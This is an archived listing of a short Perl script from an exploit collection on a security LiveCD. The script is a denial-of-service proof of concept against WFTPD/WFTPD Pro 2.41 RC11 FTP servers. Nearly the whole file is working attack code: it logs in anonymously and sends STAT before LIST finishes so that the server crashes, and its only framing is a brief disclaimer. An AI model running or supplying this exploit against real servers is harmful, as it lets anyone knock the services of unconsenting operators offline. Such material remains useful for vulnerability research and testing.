home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpdstat.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  46 lines

  1. #!/usr/bin/perl
  2. #
  3. # WFTPD/WFTPD Pro 2.41 RC11 denial-of-service
  4. # Blue Panda - bluepanda@dwarf.box.sk
  5. # http://bluepanda.box.sk/
  6. #
  7. # ----------------------------------------------------------
  8. # Disclaimer: this file is intended as proof of concept, and
  9. # is not intended to be used for illegal purposes. I accept
  10. # no responsibility for damage incurred by the use of it.
  11. # ----------------------------------------------------------
  12. #
  13. # Sends STAT without waiting for LIST to finish, which will cause the server
  14. # to crash.
  15. #
  16.  
  17. use IO::Socket;
  18.  
  19. $host = "ftp.host.com" ;
  20. $port = "21";
  21. $user = "anonymous";
  22. $pass = "p\@nda";
  23. $wait = 10;
  24.  
  25. # Connect to server.
  26. print "Connecting to $host:$port...";
  27. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
  28. print "done.\n";
  29.  
  30. # Issue a LIST command, then STAT. If the STAT arrives before the LISTing
  31. # is finished, the server will crash.
  32. print $socket "USER $user\nPASS $pass\nLIST\nSTAT\n";
  33.  
  34. # Wait a while, just to make sure the commands have arrived.
  35. print "Waiting...";
  36. $time = 0;
  37. while ($time < $wait) {
  38.         sleep(1);
  39.         print ".";
  40.         $time += 1;
  41. }
  42.  
  43. # Finished.
  44. close($socket);
  45. print "\nConnection closed. Finished.\n"
  46.